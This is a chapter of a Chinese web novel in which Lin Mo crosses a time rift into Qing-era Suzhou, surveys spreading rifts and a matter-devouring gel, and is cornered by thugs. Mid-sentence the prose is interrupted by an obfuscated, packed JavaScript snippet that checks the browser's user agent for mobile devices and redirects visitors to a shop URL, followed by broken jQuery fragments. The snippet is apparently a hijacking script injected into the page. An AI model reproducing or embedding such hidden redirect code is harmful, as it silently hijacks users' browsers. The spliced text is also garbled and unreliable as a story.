“苏姑娘,我过来了。”林墨说。
“林姑娘请小心。”苏月华回应。
林墨深吸一口气,伸手触碰窗口界面。那层水膜般的屏障现在变得更薄、更有弹性。她用力向前——
穿透的感觉很奇怪。不是穿过一扇门或一道帘子,更像是……从水中浮出。身体周围有轻微的阻力,耳朵里听到嗡鸣声,视线短暂模糊,然后清晰。
她站在了庭院里。
18世纪江南的空气涌入鼻腔——湿润,带着泥土、青草和远处炊烟的味道。气温比仓库那边低一些,大概二十度左右,微风拂面,带着初夏的暖意。
她回头,窗口还在,能看到仓库那边的景象:Nova在操作设备,阿尔里克持剑警戒,海德靠在墙上记录数据。但景象像是隔着一层毛玻璃,有些模糊,而且听不到声音。
“通道稳定。”苏月华的声音在耳边响起,是真实的、没有经过设备翻译的声音,轻柔的吴语普通话,“林姑娘感觉如何?”
“还好。”林墨活动了一下四肢,没有不适。她注意到,穿过通道后,她身上的现代服装看起来……有些“褪色”?不是真正的褪色,而是色彩饱和度降低,像是老照片的效果。可能是时空差异导致的感知偏差。
“先查看庭院里的异常。”林墨说,从背包里拿出监测仪。设备启动,屏幕亮起,显示出一串数据。
【当前位置:清康熙五十四年(1715年)苏州府阊门外】
【时空稳定性:72%(下降中)】
【裂缝能量读数:检测到3个来源,距离分别:50米、120米、300米】
【环境污染物检测:微量时空杂质,浓度0.3%】
“裂缝很近。”林墨说,“最近的只有50米,在哪里?”
苏月华指向庭院东侧围墙外:“那边是桃花坞街市,今晨我听邻人说,街口天井处出现一‘紫光窟窿’,有怪味散出。”
“带我去看看。但要小心,不要引起注意。”
两人离开庭院。苏月华锁好院门,然后领着林墨穿过一条狭窄的巷子。巷子两侧是白墙黑瓦的民居,墙头探出石榴树枝,开着火红的花。地面是青石板,缝隙里长着青苔。
一切看起来那么正常,那么……古典。如果不是天空中有几道不正常的紫色裂痕,如果不是空气中那股隐约的、类似臭氧的怪味,林墨几乎要以为自己穿越到了某个古装剧拍摄现场。
但细节出卖了异常:一些墙面上有奇怪的污渍,像是某种液体溅射后干涸的痕迹;几户人家的门板上贴着符纸,不是寻常的春联或门神,而是真正的驱邪符;巷子转角处,有一个小神龛,里面供奉的不是寻常神像,而是一块发光的石头。
“那是何物?”林墨问。
“昨日从裂缝掉落的。”苏月华低声说,“王婆拾到后,说此石夜间发光,能驱蚊虫,便供了起来。但今晨她家猫碰了石头,当场抽搐而死。”
时空杂质。带有辐射或能量污染。
林墨用监测仪扫描那块石头。读数显示高能量反应,但频率混乱。“告诉邻里,此物危险,需深埋或投入河中。”
“说了,但有人信,有人不信。”苏月华叹气,“世道乱了,怪事频出,人心也乱了。”
他们走出巷子,来到桃花坞街市。这里是苏州繁华的商业区之一,街道两旁店铺林立,绸缎庄、茶叶铺、酒楼、药房,招牌幌子在微风中摇晃。街上行人不少,但神色匆忙紧张,很少有人驻足闲聊。
林墨的现代服装引起了注意,但不算太突兀——苏州是通商口岸,偶尔有外国商人或传教士出现,百姓对奇装异服有一定容忍度。而且她戴着帽子口罩,遮住了大半张脸。
“就是那里。”苏月华指着街道尽头的一个天井。
那是一个小型广场,中央有一口古井,周围是几家店铺的后墙。现在,天井中央,悬浮着一个东西。
不是裂开的缝隙,而是一个……漩涡?
大约两米直径,悬浮在离地一米高的空中,缓慢旋转。漩涡中心是深紫色,边缘渐变成蓝绿色,旋转时带起微弱的气流,将地面的灰尘和落叶吸入。漩涡周围的空气扭曲,光线折射,让后面的景物看起来变形。
更诡异的是,漩涡下方地面上,散落着各种物品:一个塑料打火机、半包卫生巾、一只运动鞋、几枚硬币、一张还能看到英文单词“Sale”的海报碎片……
全是现代物品。
几个胆大的市民远远围观,指指点点,但不敢靠近。一个道士模样的人正在设坛作法,挥舞木剑,撒符纸,但毫无效果。
“时空漩涡。”林墨的监测仪读数飙高,“不是裂缝,是更活跃的通道。它在持续吸入我们时代的物质,排放到这个时代。”
“能关闭吗?”苏月华问。
“不知道。”林墨尝试靠近,但离漩涡五米时,就感觉到明显的吸力,头发和衣角被向前拉扯。监测仪发出警告:高能量区,危险。
她退回来,快速记录数据:漩涡大小、旋转速度、能量强度、物质吞吐速率。同时观察周围环境:这里不适合建立锚点——空间开放,人流量大,而且漩涡本身就不稳定。
“下一个裂缝在哪里?”她问。
“山塘河边,约一里外。”苏月华说,“那边人少些。”
她们沿着街道向南走。路上,林墨注意到更多异常:一家绸缎庄的橱窗里,原本应该陈列丝绸的架子上,现在挂着几件现代T恤;一个孩童手里玩着一个魔方,但他不会转,只是拿着当积木;茶馆里,说书先生讲的不是传统故事,而是某个混乱的、混合了现代元素的怪谈:“……只见那紫光一闪,掉下个铁盒子,盒子里有人说话,说的却是番邦言语……”
时空污染已经开始影响文化了。
到达山塘河边时,情况更糟。
这里的裂缝是典型的“撕裂型”:一道三米多长的紫色裂口,悬挂在河面上方,边缘不规则地闪烁。裂缝没有吞吐物质,而是在持续释放能量——河面被能量照射的区域,水在沸腾,冒着热气,水汽中闪烁着诡异的紫光。
河边原本有几个洗衣的妇人,现在都逃走了,只剩下散落的木盆和衣物。那些衣物中,混着一件现代牛仔裤。
“这个裂缝的能量输出很强。”林墨监测数据,“但位置在水上,相对隔离。如果能在河边建立锚点,也许能引导能量,减少对岸上居民区的影响。”
“如何建立?”苏月华问。
林墨回忆起海德的讲解:“需要坚固的结构,最好是有地基的建筑物,能在物理上‘锚定’空间。同时需要导引装置,将裂缝能量有序释放到安全方向——比如深层地下,或者宽阔的水体。”
她环顾四周。河边有几栋建筑:码头仓库是木质结构,不够坚固;小庙倒是砖石结构,但太小;除此之外只有几间民居。
“那座桥。”苏月华忽然指向下游,“通贵桥,是石拱桥,建了有百余年,根基稳固。”
林墨看过去。那是一座单孔石拱桥,横跨山塘河,桥身古朴,石缝里长着灌木。桥的位置离裂缝大约八十米,如果能将裂缝能量导引到桥墩,通过桥体结构分散到大地……
“有可能。”她说,“但需要计算。而且需要材料——金属导引杆,绝缘材料,固定装置。这个时代有这些吗?”
“铁匠铺能打铁器。”苏月华说,“绝缘材料……瓷瓶可否?”
“瓷瓶……”林墨眼睛一亮:“瓷绝缘子可以的,有吗?”
“有的。我家绣坊的库房里,有几箱早年进货的景德镇瓷瓶,本是用来装饰的,但大小形状合适。”
“太好了。”林墨记下,“现在看第三个裂缝。”
第三个裂缝在更远处,靠近城墙。她们赶到时,发现那里已经有人了——不是普通市民,而是一队官兵。
大约二十名清兵,穿着号衣,手持长矛和腰刀,封锁了街道。军官正在指挥士兵用沙袋和木板围堵一个院子——院子里,一道裂缝直接开在了民居的墙壁上,半个房间被紫光吞没,家具和杂物散落一地。
更糟的是,裂缝里有什么东西在动。
不是怪物,而是一团蠕动的、半透明的物质,像是凝胶,但又带着金属光泽。它从裂缝中缓缓挤出,落在地上,然后开始……吞噬周围的物质?沙土、木屑、甚至一块砖头,接触到它的表面后,就慢慢溶解、被吸收。
“时空凝胶。”林墨认出这是Nova描述过的一种杂质,“高密度能量聚合物,会本能地吸收物质来稳定自身结构。危险等级高。”
官兵显然不知道这是什么。一个士兵试图用长矛戳它,矛尖接触凝胶的瞬间,就开始溶解。士兵吓得松手,长矛在几秒内被完全吞噬。
军官下令放火。士兵们点燃火把扔过去,但火焰对凝胶无效——反而被吸收了。
“这东西不能硬来。”林墨低声对苏月华说,“需要能量中和,或者用强磁场打散其结构。这个时代没有这些技术。”
“那怎么办?”苏月华担忧地看着,“若它继续生长,整条街都会被吞掉。”
林墨思考。瑟琳娜的植物能力也许能吸收或转化这种能量,但瑟琳娜过不来。Nova的设备也许能发射特定频率干扰,但设备也过不来。
“先记录数据。”她说,“回去后和团队讨论方案。但我们需要尽快——这东西生长速度很快。”
她监测了凝胶的尺寸、吸收速率、能量特征。同时观察官兵的反应:他们显然很恐慌,但没有撤退,而是在尝试各种方法:泼水(无效)、撒石灰(无效)、用渔网罩住(渔网被溶解)……
时间在流逝。林墨看了一眼监测仪上的计时:已经过去一小时二十分钟。
“还剩一个半小时。”她说,“我们需要找一个适合建立锚点的位置,然后返回。”
“去城楼。”苏月华提议,“阊门城楼,是苏州城墙最高处,视野开阔,结构坚固。且城楼内有空间,可布置装置。”
“好。”
她们转身离开,但没走多远,就被拦住了。
不是官兵,而是几个地痞模样的人。五六个男子,穿着粗布短打,面色不善,堵在巷口。
“两位姑娘,匆匆忙忙的,去哪儿啊?”为首的是个刀疤脸,咧嘴笑着,露出黄牙,“看你们在这儿转悠半天了,手里那发光的小盒子,是啥宝贝啊?拿出来瞧瞧?”
林墨心中一沉。她不想惹麻烦,但麻烦找上门了。
苏月华上前一步,挡在林墨身前,用吴语柔声说:“几位大哥,我们是寻常百姓,家中有急事,还请行个方便。”
“急事?”刀疤脸上下打量苏月华,又看向林墨,“这位姑娘穿着古怪,面遮布巾,怕是见不得人吧?莫非是江洋大盗?还是……妖人?”
他身后的同伙哄笑。有人指着天空中的裂缝:“近来妖孽频出,说不定就是这些奇装异服之人引来的!”
愚蠢,但危险。在这种混乱时期,谣言和恐惧会让人失去理智。
“我们走另一条路。”林墨低声对苏月华说,准备后退。
但巷子另一头也被堵住了——还有三个人。
“跑什么?”刀疤脸逼近,“把那发光宝贝交出来,再让爷们儿搜搜身,若没问题,自然放你们走。”
林墨快速评估局势:八个人,目前看还未亮出武器,但人数占优。狭窄巷子,不利于逃跑但也不利于他们围攻。苏月华没有战斗力,自己需要保护她。
“苏姑娘,退到我身后。”林墨说。
她摘下帽子和口罩,露出面容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16934644|192844||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
。这个动作让地痞们愣了一下——他们大概没想到是个年轻女子。
“最后说一次,”林墨用平静但清晰的普通话说,“让开。”
刀疤脸不懂普通话,但听出了语气中的威胁。他恼羞成怒:“还挺横!弟兄们,上!”
两个人率先扑过来。
林墨没有后退。她迎上前,在第一个人的拳头挥到面前时,侧身,左手格挡,右手肘击对方肋下——不是全力,只用了三成力,但足以让那人痛得弯腰。
第二个人从侧面抓来,林墨顺势抓住他的手腕,转身,一个过肩摔。那人重重摔在地上,发出闷哼。
干净利落,两秒解决两个。
地痞们愣住了。他们没想到这个女人这么能打。
刀疤脸脸色变了,从腰间掏出一把匕首:“练家子?那就别怪爷们儿动真格了!”
其余人也都亮出家伙:短棍、柴刀、甚至还有一个用绳子拴着铁球制成的流星锤。
麻烦了。林墨可以对付徒手的,但对付持械的,尤其还有流星锤这种软兵器,风险大增。而且她需要保护苏月华。
“苏姑娘,紧贴墙壁。”她低声说,同时从腰后抽出短钢棍,甩开,变成一根半米长的棍子。